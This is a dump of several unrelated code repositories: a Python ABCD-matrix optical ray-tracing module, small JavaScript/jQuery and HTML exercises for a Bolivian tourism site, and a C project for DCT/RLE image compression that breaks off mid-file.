in OpticalPath(). """ class Ray: """A vector and a light ray as transformed by ABCD matrices The Ray() has a height (y) and an angle with the optical axis (theta). It also has a position (z) and a marker if it has been blocked. Simple class functions are defined to obtain a group of rays: fans originate from the same height but sweep a range of angles; fan groups are fans originating from different heights; and a beam spans various heights with a fixed angle. """ def __init__(self, y=0, theta=0, z=0, isBlocked=False): # Ray matrix formalism self.y = y self.theta = theta # Position of this ray self.z = z # Aperture self.isBlocked = isBlocked @property def isNotBlocked(self): """Opposite of isBlocked. Convenience function for readability """ return not self.isBlocked @staticmethod def fan(self, y, radianMin, radianMax, N): """A list of rays spanning from radianMin to radianMax to be used with Matrix().propagate() """ rays = [] for i in range(N): theta = radianMin + i*(radianMax-radianMin)/(N-1) rays.append(Ray(y, theta, z=0)) return rays @staticmethod def fanGroup(yMin, yMax, M, radianMin, radianMax, N): """ A list of rays spanning from yMin to yMax and radianMin to radianMax to be used with Matrix().propagate() """ rays = [] for j in range(M): for i in range(N): theta = radianMin + i*(radianMax-radianMin)/(N-1) y = yMin + j*(yMax-yMin)/(M-1) rays.append(Ray(y, theta, z=0)) return rays @staticmethod def beam(yMin, yMax, M, radian): """ A list of rays spanning from yMin to yMax at a fixed angle to be used with Matrix().propagate() """ rays = [] for i in range(M): y = yMin + i*(yMax-yMin)/(M-1) theta = radian rays.append(Ray(y, theta, z=0)) return rays def __str__(self): """ String description that allows the use of print(Ray()) """ description = "\n / \\ \n" description += "| {0:6.3f} |\n".format(self.y) description += "| |\n" description += "| {0:6.3f} |\n".format(self.theta) description += " \\ /\n\n" description += "z = {0:4.3f}\n".format(self.z) if self.isBlocked: description += " (blocked)" return description class Matrix(object): """A matrix and an optical element that can transform a ray or another matrix. The general properties (A,B,C,D) are defined here. The operator "*" is overloaded to allow simple statements such as: M2 = M1 * ray or M3 = M2 * M1 In addition apertures are considered and the physical length is included to allow simple management of the ray tracing. """ def __init__(self, A, B, C, D, physicalLength=0, apertureDiameter=float('+Inf'), label=''): # Ray matrix formalism self.A = float(A) self.B = float(B) self.C = float(C) self.D = float(D) # Length of this element self.L = float(physicalLength) # Aperture self.apertureDiameter = apertureDiameter self.label = label super(Matrix, self).__init__() def __mul__(self, rightSide): """Operator overloading allowing easy to read matrix multiplication For instance, with M1 = Matrix() and M2= Matrix(), one can write M3 = M1*M2. With r = Ray(), one can apply the M1 transform to a ray with r = M1*r """ if isinstance(rightSide, Matrix): return self.mul_matrix(rightSide) elif isinstance(rightSide, Ray): return self.mul_ray(rightSide) else: raise TypeError("Unrecognized right side element in multiply:" " '{0}' cannot be multiplied by a Matrix". format(rightSide)) def mul_matrix(self, rightSideMatrix): """ Multiplication of two matrices. Total length of the elements is calculated. Apertures are lost. """ a = self.A * rightSideMatrix.A + self.B * rightSideMatrix.C b = self.A * rightSideMatrix.B + self.B * rightSideMatrix.D c = self.C * rightSideMatrix.A + self.D * rightSideMatrix.C d = self.C * rightSideMatrix.B + self.D * rightSideMatrix.D l = self.L + rightSideMatrix.L return Matrix(a, b, c, d, physicalLength=l) def mul_ray(self, rightSideRay): """ Multiplication of a ray by a matrix. New position of ray is updated by the physical length of the matrix. If the ray is beyond the aperture diameter it is labelled as "isBlocked = True" but can still propagate. """ outputRay = Ray() outputRay.y = self.A * rightSideRay.y + self.B * rightSideRay.theta outputRay.theta = self.C * rightSideRay.y + self.D * rightSideRay.theta outputRay.z = self.L + rightSideRay.z if abs(rightSideRay.y) > self.apertureDiameter/2: outputRay.isBlocked = True else: outputRay.isBlocked = rightSideRay.isBlocked return outputRay def pointsOfInterest(self, z): """ Any points of interest for this matrix (focal points, principal planes etc...) """ return [] def focalDistances(self): """ The equivalent focal distance calcuated from the power (C) of the matrix. Currently, it is assumed the index is n=1 on either side and both focal distances are the same. """ focalDistance = -1.0/self.C # FIXME: Assumes n=1 on either side return (focalDistance, focalDistance) def focusPositions(self, z): """ Positions of both focal points on either side. Currently, it is assumed the index is n=1 on either side and both focal distances are the same. """ (frontFocal, backFocal) = self.focalDistances() (p1, p2) = self.principalPlanePositions(z) return (p1-frontFocal, p2+backFocal) def principalPlanePositions(self, z): """ Positions of the input and output prinicpal planes. Currently, it is assumed the index is n=1 on either side. """ p1 = z + (1 - self.D) / self.C # FIXME: Assumes n=1 on either side p2 = z + self.L + (1 - self.A) / self.C # FIXME: Assumes n=1 on either side return (p1, p2) def drawAt(self, z, axes): """ Draw element on plot with starting edge at 'z'. """ halfHeight = self.displayHalfHeight() p = patches.Rectangle((z, -halfHeight), self.L, 2 * halfHeight, color='k', fill=False, transform=axes.transData, clip_on=False) axes.add_patch(p) def drawLabels(self, z, axes): """ Draw element labels on plot with starting edge at 'z'. """ halfHeight = self.displayHalfHeight() center = z+self.L/2.0 plt.annotate(self.label, xy=(center, 0.0), xytext=(center, halfHeight*1.1), fontsize=14, xycoords='data', ha='center', va='bottom') def drawAperture(self, z, axes): if self.apertureDiameter != float('+Inf'): halfHeight = self.apertureDiameter/2.0 width = 0.5 axes.add_patch(patches.Polygon([[z-width, halfHeight], [z+width, halfHeight], [z, halfHeight], [z, halfHeight + width], [z, halfHeight]], linewidth=3, closed=False, color='0.7')) axes.add_patch(patches.Polygon([[z - width, -halfHeight], [z + width, -halfHeight], [z, -halfHeight], [z, -halfHeight-width], [z, -halfHeight]], linewidth=3, closed=False, color='0.7')) def displayHalfHeight(self): """ A reasonable height for display purposes for an element, whether it is infinite or not. If the element is infinite, currently the half-height will be '4'. If not, it is the apertureDiameter/2. """ halfHeight = 4 # default half height is reasonable for display if infinite if self.apertureDiameter != float('+Inf'): halfHeight = self.apertureDiameter/2.0 # real half height return halfHeight def __str__(self): """ String description that allows the use of print(Matrix()) """ description = "\n / \\ \n" description += "| {0:6.3f} {1:6.3f} |\n".format(self.A, self.B) description += "| |\n" description += "| {0:6.3f} {1:6.3f} |\n".format(self.C, self.D) description += " \\ /\n" if self.C != 0: description += "\nf={0:0.3f}\n".format(-1.0/self.C) else: description += "\nf = +inf (afocal)\n" return description class Lens(Matrix): """A thin lens of focal f, null thickness and infinite or finite diameter """ def __init__(self, f, diameter=float('+Inf'), label=''): super(Lens, self).__init__(A=1, B=0, C=-1/float(f), D=1, physicalLength=0, apertureDiameter=diameter, label=label) def drawAt(self, z, axes): """ Draw a thin lens at z """ halfHeight = self.displayHalfHeight() plt.arrow(z, 0, 0, halfHeight, width=0.1, fc='k', ec='k', head_length=0.25, head_width=0.25, length_includes_head=True) plt.arrow(z, 0, 0, -halfHeight, width=0.1, fc='k', ec='k', head_length=0.25, head_width=0.25, length_includes_head=True) self.drawCardinalPoints(z, axes) def drawCardinalPoints(self, z, axes): """ Draw the focal points of a thin lens as black dots """ (f1, f2) = self.focusPositions(z) axes.plot([f1, f2], [0, 0], 'ko', color='k', linewidth=0.4) def pointsOfInterest(self, z): """ List of points of interest for this element as a dictionary: 'z':position 'label':the label to be used. Can include LaTeX math code. """ (f1, f2) = self.focusPositions(z) return [{'z': f1, 'label': '$F_1$'}, {'z': f2, 'label': '$F_2$'}] class Space(Matrix): """Free space of length d """ def __init__(self, d, label=''): super(Space, self).__init__(A=1, B=float(d), C=0, D=1, physicalLength=d, label=label) def drawAt(self, z, axes): """ Draw nothing because free space is nothing. """ return class Aperture(Matrix): """An aperture of finite diameter, null thickness. If the ray is beyond the finite diameter, the ray is blocked. """ def __init__(self, diameter, label=''): super(Aperture, self).__init__(A=1, B=0, C=0, D=1, physicalLength=0, apertureDiameter=diameter, label=label) def drawAt(self, z, axes): """ Draw an aperture at z. Currently, this is a squished arrow because that is how I roll. """ # halfHeight = self.apertureDiameter/2 # width = 0.25 # axes.add_patch(patches.Polygon([[z-width,halfHeight], [z+width, halfHeight], [z,halfHeight], [z, halfHeight+width], [z,halfHeight]], linewidth=3, closed=False,color='k')) # axes.add_patch(patches.Polygon([[z-width,-halfHeight], [z+width, -halfHeight], [z,-halfHeight], [z, -halfHeight-width], [z,-halfHeight]], linewidth=3, closed=False,color='k')) # Add the patch to the Axes # plt.arrow(z, halfHeight*1.2, 0,-halfHeight*0.2, width=0.1, fc='k', ec='k',head_length=0.05, head_width=1,length_includes_head=True) # plt.arrow(z, -halfHeight*1.2, 0, halfHeight*0.2, width=0.1, fc='k', ec='k',head_length=0.05, head_width=1, length_includes_head=True) class OpticalPath(object): """OpticalPath: the main class of the module, allowing calculations and ray tracing for an object at the beginning. Usage is to create the OpticalPath(), then append() elements and display(). You may change objectHeight, fanAngle, fanNumber and rayNumber. """ def __init__(self): self.name = "Ray tracing" self.elements = [] self.objectHeight = 1.0 # object height (full). FIXME: Python 2.7 requires 1.0, not 1 (float) self.objectPosition = 0.0 # always at z=0 for now. FIXME: Python 2.7 requires 1.0, not 1 (float) self.fanAngle = 0.5 # full fan angle for rays self.fanNumber = 10 # number of rays in fan self.rayNumber = 3 # number of rays from different heights on object # Display properties self.showElementLabels = True self.showPointsOfInterest = True self.showPointsOfInterestLabels = True self.showPlanesAcrossPointsOfInterest = True def append(self, matrix): """ Add an element at the end of the path """ self.elements.append(matrix) def transferMatrix(self, z=float('+Inf')): """ The transfer matrix between z = 0 and z Currently, z must be where a new element starts.""" transferMatrix = Matrix(A=1, B=0, C=0, D=1) for element in self.elements: if transferMatrix.L + element.L <= z: #FIXME: Assumes z falls on edge of element transferMatrix = element*transferMatrix else: break return transferMatrix def propagate(self, inputRay): """ Starting with inputRay, propagate from z = 0 until after the last element Returns a list of rays (called a ray sequence) starting with inputRay, followed by the ray after each element. """ ray = inputRay raySequence = [ray] for element in self.elements: ray = element*ray raySequence.append(ray) return raySequence def propagateMany(self, inputRays): """ Propagate each ray from a list from z = 0 until after the last element Returns a list of ray sequences for each input ray. See propagate(). """ manyRaySequences = [] for inputRay in inputRays: raySequence = self.propagate(inputRay) manyRaySequences.append(raySequence) return manyRaySequences def hasFiniteDiameterElements(self): """ True if OpticalPath has at least one element of finite diameter """ for element in self.elements: if element.apertureDiameter != float('+Inf'): return True return False def chiefRay(self, y): """ Chief ray for a height y (i.e., the ray that goes through the center of the aperture stop) The calculation is simple: obtain the transfer matrix to the aperture stop, then we know that the input ray (which we are looking for) will end at y=0 at the aperture stop. """ (stopPosition, stopDiameter) = self.apertureStop() transferMatrixToApertureStop = self.transferMatrix(z=stopPosition) A = transferMatrixToApertureStop.A B = transferMatrixToApertureStop.B return Ray(y=y, theta=-A*y/B) def marginalRays(self, y): """ Marginal rays for a height y (i.e., the rays that hit the upper and lower edges of the aperture stop) The calculation is simple: obtain the transfer matrix to the aperture stop, then we know that the input ray (which we are looking for) will end at y=0 at the aperture stop. """ (stopPosition, stopDiameter) = self.apertureStop() transferMatrixToApertureStop = self.transferMatrix(z=stopPosition) A = transferMatrixToApertureStop.A B = transferMatrixToApertureStop.B thetaUp = (stopDiameter / 2 * 0.98 - A * y) / B thetaDown = (-stopDiameter / 2 * 0.98 - A * y) / B return (Ray(y=0, theta=thetaUp), Ray(y=0, theta=thetaDown)) def axialRays(self, y): """ Synonym of marginal rays """ return self.marginalRays(y) def apertureStop(self): """ The aperture in the system that limits the cone of angles originating from zero height at the object plane. Returns the position and diameter of the aperture stop Strategy: we take a ray height and divide by real aperture diameter. The position where the ratio is maximum is the aperture stop. If there are no elements of finite diameter (i.e. all optical elements are infinite in diameters), then there is no aperture stop in the system and the size of the aperture stop is infinite. """ if not self.hasFiniteDiameterElements(): return (None, float('+Inf')) else: ray = Ray(y=0, theta=0.1) # Any ray angle will do maxRatio = 0 apertureStopPosition = 0 for element in self.elements: ray = element*ray ratio = ray.y/element.apertureDiameter if ratio > maxRatio: apertureStopPosition = ray.z apertureStopDiameter = element.apertureDiameter maxRatio = ratio return (apertureStopPosition, apertureStopDiameter) def fieldStop(self): """ The field stop is the aperture that limits the image size (or field of view) Returns the position and diameter of the field stop. Strategy: take ray at various height from object and aim at center of pupil (i.e. chief ray from that height) until ray is blocked. When it is blocked, the position at which it was blocked is the field stop. To obtain the diameter we must go back to the last ray that was not blocked and calculate the diameter. It is possible to have finite diameter elements but still an infinite field of view and therefore no Field stop. In fact, if only a single element has a finite diameter, there is no field stop (only an aperture stop). If there are no elements of finite diameter (i.e. all optical elements are infinite in diameters), then there is no field stop and no aperture stop in the system and the sizes are infinite. """ if not self.hasFiniteDiameterElements(): return (None, float('+Inf')) else: deltaHeight = 0.001 fieldStopPosition = None fieldStopDiameter = float('+Inf') for i in range(10000): chiefRay = self.chiefRay(y=i*deltaHeight) outputRaySequence = self.propagate(chiefRay) for ray in reversed(outputRaySequence): if not ray.isBlocked: break else: fieldStopPosition = ray.z fieldStopDiameter = abs(ray.y) * 2.0 if fieldStopPosition != None: return (fieldStopPosition, fieldStopDiameter) return (fieldStopPosition, fieldStopDiameter) def fieldOfView(self): # TODO # This method should be "clear aperture" where the clear aperture # from each "surfaces" (MATRIX objects) the maximum ray is. # Pretty sure that in paraxial ray tracing this could be extracted # analytically """ The field of view is the maximum object height visible until its chief ray is blocked by the field stop Strategy: take ray at various heights from object and aim at center of pupil (chief ray from that point) until ray is blocked. It is possible to have finite diameter elements but still an infinite field of view and therefore no Field stop. """ halfFieldOfView = float('+Inf') (stopPosition, stopDiameter) = self.fieldStop() if stopPosition is None: return halfFieldOfView transferMatrixToFieldStop = self.transferMatrix(z=stopPosition) deltaHeight = self.objectHeight / 10000.0 # FIXME: This is not that great for i in range(10000): # FIXME: When do we stop? Currently 10.0 (arbitrary). height = float(i)*deltaHeight chiefRay = self.chiefRay(y=height) outputRayAtFieldStop = transferMatrixToFieldStop*chiefRay if abs(outputRayAtFieldStop.y) > stopDiameter/2.0: break # Last height was the last one to not be blocked else: halfFieldOfView = height return halfFieldOfView*2.0 def createRayTracePlot(self, limitObjectToFieldOfView=False, onlyChiefAndMarginalRays=False): fig, axes = plt.subplots(figsize=(10, 7)) axes.set(xlabel='Distance', ylabel='Height', title=self.name) axes.set_ylim([-5,5]) # FIXME: obtain limits from plot. Currently 5cm either side note1 = "" note2 = "" if limitObjectToFieldOfView: fieldOfView = self.fieldOfView() if fieldOfView != float('+Inf'): self.objectHeight = fieldOfView note1 = "Field of view: {0:.2f}".format(self.objectHeight) else: raise ValueError("Infinite field of view: cannot use" " limitObjectToFieldOfView=True.") else: note1 = "Object height: {0:.2f}".format(self.objectHeight) if onlyChiefAndMarginalRays: (stopPosition, stopDiameter) = self.apertureStop() if stopPosition is None: raise ValueError("No aperture stop in system:" " cannot use onlyChiefAndMarginalRays=True " "since they are not defined.") note2 = "Only chief and marginal rays shown" axes.text(0.05, 0.1, note1+"\n"+note2, transform=axes.transAxes, fontsize=14, verticalalignment='top') self.drawRayTraces(axes, onlyChiefAndMarginalRays=onlyChiefAndMarginalRays, removeBlockedRaysCompletely=False) self.drawObject(axes) self.drawOpticalElements(axes) if self.showPointsOfInterest: self.drawPointsOfInterest(axes) return (fig, axes) def display(self, limitObjectToFieldOfView=False, onlyChiefAndMarginalRays=False): (fig, axes) = self.createRayTracePlot(limitObjectToFieldOfView, onlyChiefAndMarginalRays) plt.ioff() plt.show() def save(self, filepath, limitObjectToFieldOfView=False, onlyChiefAndMarginalRays=False): (fig, axes) = self.createRayTracePlot(limitObjectToFieldOfView, onlyChiefAndMarginalRays) fig.savefig(filepath, dpi=600) def drawObject(self, axes): plt.arrow(self.objectPosition, -self.objectHeight/2, 0, self.objectHeight, width=0.1, fc='b', ec='b', head_length=0.25, head_width=0.25, length_includes_head=True) def drawPointsOfInterest(self, axes): pointsOfInterestLabels = {} # Regroup labels at same z zElement = 0 for element in self.elements: pointsOfInterest = element.pointsOfInterest(zElement) for pointOfInterest in pointsOfInterest: zStr = "{0:3.3f}".format(pointOfInterest['z']) label = pointOfInterest['label'] if zStr in pointsOfInterestLabels: pointsOfInterestLabels[zStr] = pointsOfInterestLabels[zStr]+", "+label else: pointsOfInterestLabels[zStr] = label zElement += element.L halfHeight = 4 # FIXME for zStr, label in pointsOfInterestLabels.items(): z = float(zStr) plt.annotate(label, xy=(z, 0.0), xytext=(z, halfHeight*0.2), xycoords='data', fontsize=14, ha='center', va='bottom') (apertureStopPosition, apertureStopDiameter) = self.apertureStop() if apertureStopPosition is not None: plt.annotate('AS', xy=(apertureStopPosition, 0.0), xytext=(apertureStopPosition, halfHeight*1.1), fontsize=14, xycoords='data', ha='center', va='bottom') (fieldStopPosition, fieldStopDiameter) = self.fieldStop() if fieldStopPosition is not None: plt.annotate('FS', xy=(fieldStopPosition, 0.0), xytext=(fieldStopPosition, halfHeight*1.1), fontsize=14, xycoords='data', ha='center', va='bottom') def drawOpticalElements(self, axes): z = 0 for element in self.elements: element.drawAt(z, axes) element.drawAperture(z, axes) if self.showElementLabels: element.drawLabels(z, axes) z += element.L def drawRayTraces(self, axes, onlyChiefAndMarginalRays, removeBlockedRaysCompletely=True): color = ['b', 'r', 'g'] if onlyChiefAndMarginalRays: halfHeight = self.objectHeight/2.0 chiefRay = self.chiefRay(y=halfHeight-0.01) (marginalUp, marginalDown) = self.marginalRays(y=0) rayGroup = (chiefRay, marginalUp) else: halfAngle = self.fanAngle/2.0 halfHeight = self.objectHeight/2.0 rayGroup = Ray.fanGroup(yMin=-halfHeight, yMax=halfHeight, M=self.rayNumber, radianMin=-halfAngle, radianMax=halfAngle, N=self.fanNumber) rayGroupSequence = self.propagateMany(rayGroup) for raySequence in rayGroupSequence: (x, y) = self.rearrangeRaysForPlotting(raySequence, removeBlockedRaysCompletely) if len(y) == 0: continue # nothing to plot, ray was fully blocked rayInitialHeight = y[0] binSize = 2.0*halfHeight/(len(color)-1) colorIndex = int((rayInitialHeight - (-halfHeight - binSize / 2)) / binSize) axes.plot(x, y, color[colorIndex], linewidth=0.4) def rearrangeRaysForPlotting(self, rayList, removeBlockedRaysCompletely=True): x = [] y = [] for ray in rayList: if not ray.isBlocked: x.append(ray.z) y.append(ray.y) elif removeBlockedRaysCompletely: x = [] y = [] # else: # ray will simply stop drawing from here return (x, y) # This is an example for the module. # Don't modify this: create a new script that imports ABCD # See test.py if __name__ == "__main__": path = OpticalPath() path.name = "Simple demo: one infinite lens f = 5cm" path.append(Space(d=10)) path.append(Lens(f=5)) path.append(Space(d=10)) path.display() # or #path.save("Figure 1.png") path = OpticalPath() path.name = "Simple demo: two infinite lenses with f = 5cm" path.append(Space(d=10)) path.append(Lens(f=5)) path.append(Space(d=20)) path.append(Lens(f=5)) path.append(Space(d=10)) path.display() # or # path.save("Figure 2.png") path = OpticalPath() path.name = "Advanced demo: two lenses f = 5cm, with a finite diameter of 2.5 cm" path.append(Space(d=10)) path.append(Lens(f=5, diameter=2.5)) path.append(Space(d=20)) path.append(Lens(f=5, diameter=2.5)) path.append(Space(d=10)) path.display() # or # path.save("Figure 3.png") path = OpticalPath() path.name = "Microscope system" path.objectHeight = 0.1 path.append(Space(d=4)) path.append(Lens(f=4, diameter=0.8, label='Obj')) path.append(Space(d=4+18)) path.append(Lens(f=18,diameter=5.0, label='Tube Lens')) path.append(Space(d=18)) path.display() path.save("MicroscopeSystem.png",onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True) # or # path.save("Figure 4.png") path = OpticalPath() path.name = "Advanced demo: two lenses with aperture" path.append(Space(d=10)) path.append(Lens(f=5)) path.append(Space(d=2)) path.append(Lens(f=5, diameter=2.5)) path.append(Space(d=2)) path.append(Aperture(diameter=2.0)) (r1,r2) = path.marginalRays(y=0) print(r1, r2) print(path.fieldOfView()) path.display(onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True)
111ccbdf7c07572545dbe45e82428882df6086e2
[ "Markdown", "Python" ]
4
Markdown
GuillaumeAllain/RayTracing
8dfbca229e3bdf41011ac89591d42377ed9873ee
ebdaf8754a07d552f9edb9cbc175ea0a5dfb93b6
refs/heads/master
<repo_name>FaviolaSoliz/TecWeb<file_sep>/temas/Flexbox/json.js /*header and setion elements and store them in variables*/ var articulo = document.querySelector('article'); /*To obtain the JSON*/ var requestURL = 'https://faviolasoliz.github.io/TecnologiaWebI/prueba.json'; /*Create a request*/ var request = new XMLHttpRequest(); request.open('GET', requestURL); request.responseType = 'json'; request.send(); request.onload = function() { var funPrueba = request.response; mostrarContenido(funPrueba); } //Populating the header function mostraContenido(jsonObj) { var myH2 = document.createElement('h2'); myH2.textContent = jsonObj['Titulo']; articulo.appendChild(myH2); var myParrafo = document.createElement('p'); myParrafo.textContent = 'Contenido:' + jsonObj['Texto']; articulo.appendChild(myParrafo); } articulo.appendChild(myH2); myArticle.appendChild(myParrafo); <file_sep>/temas/LayoutJavaScript/js/windchill.js /*The formula to calculate the wind chill factor is:*/ var t = parseFloat(document.getElementById('temperature').innerHTML); var s = parseFloat(document.getElementById('wind-speed').innerHTML); var pow = Math.pow(s,0.16); var result = 35.74 + (0.6215*t)-(35.75*pow) + (0.4275*t*pow); document.getElementById('chill').innerHTML=result.toFixed(1) + "°"; //document.write(result+"°"); <file_sep>/temas/jquery/04_dom.js $(document).ready(function(){ //alert(); //$('#padre').hide(); // Parent /* $('.caja').parent().css({ background: '#1b3d82' });*/ // Parents //$('#tercera').parents(); // Children // $('#padre').children().fadeOut(5000); // $('#padre').children('').fadeOut(1000); // Find // $('#contenedor').find('#tercera').slideUp(); // Siblings $('#tercera').siblings().fadeOut(2500); // Next - Prev $('#tercera').nextAll().css({ background: '#000' }); });<file_sep>/temas/LayoutJavaScript/home.html <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <title>Bolivia Turistica</title> <meta name="description" content="Assignment for exam web thecnology"> <link rel="stylesheet" href="css/normalize.css"> <link rel="stylesheet" href="css/small.css"> <link rel="stylesheet" href="css/large.css"> <link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon"> </head> <body> <div class="container"> <header> <div class="headings"> <div class="motto"> <h2>Bolivia Tusritica</h2> <p>Conoce el mejor lugar del mundo</p> <script src="js/currentdate.js"></script> </div> </div> <nav class="navigation"> <a href="#" onclick="toggleMenu()">&#9776; Menu</a> <a class="active" href="home.html">Home</a> <a href="#">La Paz</a> <a href="cochabamba.html">Cochabamba</a> <a href="#">Santa Cruz</a> <a href="#">Contactos</a> <a href="#">Galeria</a> </nav> </header> <main> <h1>Bolivia</h1> <article> <h2>Conoce La Paz</h2> <a href="#"><img src="images/cocha1.jpg" alt="La Paz"></a> <p>Cochabamba es una ciudad del centro de Bolivia. Un teleférico que parte desde una colina situada en el este lleva a la enorme estatua del Cristo de la Concordia, que ofrece vistas a la zona circundante. En el centro de la ciudad se encuentra la plaza 14 de Septiembre, una plaza colonial rodeada de pórticos, y la catedral de San Sebastián, de estilo barroco andino. En las proximidades hay varias iglesias coloniales, como la de Santo Domingo, que destaca por su llamativa fachada de piedra tallada.</p> </article> <article> <h2>Conoce Cochabamba</h2> <a href="cochabamba.html"><img src="images/cochabamba.jpg" alt="Cochabamba"></a> <p>Cochabamba es una ciudad del centro de Bolivia. Un teleférico que parte desde una colina situada en el este lleva a la enorme estatua del Cristo de la Concordia, que ofrece vistas a la zona circundante. En el centro de la ciudad se encuentra la plaza 14 de Septiembre, una plaza colonial rodeada de pórticos, y la catedral de San Sebastián, de estilo barroco andino. En las proximidades hay varias iglesias coloniales, como la de Santo Domingo, que destaca por su llamativa fachada de piedra tallada.</p> </article> <article> <h2>Conoce Santa Cruz</h2> <a href="#"><img src="images/cocha2.jpg" alt="Santa Cruz"></a> <p>Cochabamba es una ciudad del centro de Bolivia. Un teleférico que parte desde una colina situada en el este lleva a la enorme estatua del Cristo de la Concordia, que ofrece vistas a la zona circundante. En el centro de la ciudad se encuentra la plaza 14 de Septiembre, una plaza colonial rodeada de pórticos, y la catedral de San Sebastián, de estilo barroco andino. En las proximidades hay varias iglesias coloniales, como la de Santo Domingo, que destaca por su llamativa fachada de piedra tallada.</p> </article> </div> </main> <footer> &copy;2020 Conoce Bolivia | Atributions |Your name<br> <script src="js/fecha.js"></script> <script src="js/hamburger.js"></script> <script src="js/cbbainfo.js"></script> </footer> </div> </body> </html><file_sep>/temas/Flexbox/js/currentdate.js //current date dynamically in the following date format: Monday, 6 April 2020 var month = new Array ("Enero","Febrero","Marzo","Abril","Mayo", "Junio","Julio","Agosto","Septiembre","Octobre","Novimbre","Diciembre"); var dayofweek = new Array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado"); var d=new Date(); var dia_sem=dayofweek[d.getDay()]; var dia=d.getDay(); var mes=month[d.getMonth()]; var anio=d.getFullYear(); document.write(dia_sem+" "+dia+" "+mes+" del "+anio);
bbfae8c7d2920f6c9ee3c451864740b0a3a82591
[ "JavaScript", "HTML" ]
5
JavaScript
FaviolaSoliz/TecWeb
c737afd6276ee433d5854ed62b8206a74d4e73f9
a47e5aa352ff51b92339bb2c423ca9d284d90532
refs/heads/master
<repo_name>AndreyMoskvin/ImageCompession<file_sep>/README.md ImageCompession ===============<file_sep>/C-sources/ImageCompression/ImageCompression/main.c // // main.c // ImageCompression // // Created by <NAME> on 3/20/13. // // #include <stdio.h> #include "qdbmp.h" #include "DCT.h" #include <math.h> struct CompressedEntry { int count; int value; }; struct CompressedSequence { int count; struct CompressedEntry* entires; }; void rle_encode(struct CompressedEntry entry[64], const int transformant[8][8]) { int currentValue = transformant[0][0]; int currentSection = 0; int entryIndex = 0; for (int y = 0; y < 8; y += 1) { for (int x = 0; x < 8; x += 1) { int value = transformant[x][y]; if (currentValue != value) { entry[entryIndex].count = currentSection; entry[entryIndex].value = currentValue; entryIndex += 1; currentValue = value; currentSection = 1; } else { currentSection += 1; } } } entry[entryIndex].count = currentSection; entry[entryIndex].value = currentValue; } void rle_decode(int transformant[8][8], const struct CompressedEntry entries[64]) { int entryIndex = 0; int serieIndex = entries[entryIndex].count; for (int y = 0; y < 8; y += 1) { for (int x = 0; x < 8; x += 1) { transformant[x][y] = entries[entryIndex].value; serieIndex -= 1; if (serieIndex == 0) { entryIndex += 1; serieIndex = entries[entryIndex].count; } } } } int main(int argc, const char * argv[]) { BMP* bmp; const char * inputImagePath = argv[1]; const char * outputImagePath = argv[2]; /* Read an image file */ bmp = BMP_ReadFile( inputImagePath ); BMP_CHECK_ERROR( stderr, -1 ); /* If an error has occurred, notify and exit */ int redTransformant[8][8]; int greenTransformant[8][8]; int blueTransformant[8][8]; double dct_redTransformant[8][8]; double dct_greenTransformant[8][8]; double dct_blueTransformant[8][8]; int signs_redTransformant[8][8]; int signs_blueTransformant[8][8]; int signs_greenTransformnt[8][8]; int int_redTransformant[8][8]; int int_greenTransformant[8][8]; int int_blueTransformant[8][8]; struct CompressedEntry redEntries[64]; struct CompressedEntry greenEntries[64]; struct CompressedEntry blueEntries[64]; for (int heightNumber = 0; heightNumber < BMP_GetHeight(bmp); heightNumber +=8 ) { for (int widthNumber = 0; widthNumber < BMP_GetWidth(bmp); widthNumber += 8) { for (int y = 0; y < 8; y += 1) { for (int x = 0; x < 8; x += 1) { UCHAR r,g,b; BMP_GetPixelRGB(bmp, widthNumber + x, heightNumber + y, &r,&g,&b); redTransformant[x][y] = r; greenTransformant[x][y] = g; blueTransformant[x][y] = b; } } dct(dct_redTransformant, redTransformant); dct(dct_greenTransformant, greenTransformant); dct(dct_blueTransformant, blueTransformant); // // // Separate signs // for (int y = 0; y < 8; y += 1) // { // for (int x = 0; x < 8; x += 1) // { // signs_redTransformant[x][y] = signbit(dct_redTransformant[x][y]); // signs_greenTransformnt[x][y] = signbit(dct_greenTransformant[x][y]); // signs_blueTransformant[x][y] = signbit(dct_blueTransformant[x][y]); // // int_redTransformant[x][y] = fabs(round(dct_redTransformant[x][y])); // int_greenTransformant[x][y] = fabs(round(dct_greenTransformant[x][y])); // int_blueTransformant[x][y] = fabs(round(dct_blueTransformant[x][y])); // } // } // // // RLE // // rle_encode(redEntries, int_redTransformant); // rle_encode(greenEntries, int_greenTransformant); // rle_encode(blueEntries, int_blueTransformant); // // rle_decode(int_redTransformant, redEntries); // rle_decode(int_greenTransformant, greenEntries); // rle_decode(int_blueTransformant, blueEntries); // // // Apply signs // for (int y = 0; y < 8; y += 1) // { // for (int x = 0; x < 8; x += 1) // { // if (signs_redTransformant[x][y] == 1) // { // dct_redTransformant[x][y] = -int_redTransformant[x][y]; // } // if (signs_greenTransformnt[x][y] == 1) // { // dct_greenTransformant[x][y] = -int_greenTransformant[x][y]; // } // if (signs_blueTransformant[x][y] == 1) // { // dct_blueTransformant[x][y] = -int_blueTransformant[x][y]; // } // } // } // idct(redTransformant, dct_redTransformant); idct(greenTransformant, dct_greenTransformant); idct(blueTransformant, dct_blueTransformant); for (int y = 0; y < 8; y += 1) { for (int x = 0; x < 8; x += 1) { UCHAR r,g,b; r = redTransformant[x][y]; g = greenTransformant[x][y]; b = blueTransformant[x][y]; BMP_SetPixelRGB(bmp, widthNumber + x, heightNumber + y, r, g, b); } } } } /* Save result */ BMP_WriteFile( bmp, outputImagePath ); BMP_CHECK_ERROR( stderr, -2 ); /* Free all memory allocated for the image */ BMP_Free( bmp ); return 0; } <file_sep>/C-sources/ImageCompression/ImageCompression/DCT.c // // DCT.c // ImageCompression // // Created by <NAME> on 3/20/13. // // #include <stdio.h> #include <math.h> #include <stdlib.h> #include "DCT.h" #ifndef PI #ifdef M_PI #define PI M_PI #else #define PI 3.14159265358979 #endif #endif /* Fast DCT algorithm due to Arai, Agui, Nakajima * Implementation due to <NAME> */ void dct(double data[8][8], const int color[8][8]) { int i; int rows[8][8]; static const int c1=1004 /* cos(pi/16) << 10 */, s1=200 /* sin(pi/16) */, c3=851 /* cos(3pi/16) << 10 */, s3=569 /* sin(3pi/16) << 10 */, r2c6=554 /* sqrt(2)*cos(6pi/16) << 10 */, r2s6=1337 /* sqrt(2)*sin(6pi/16) << 10 */, 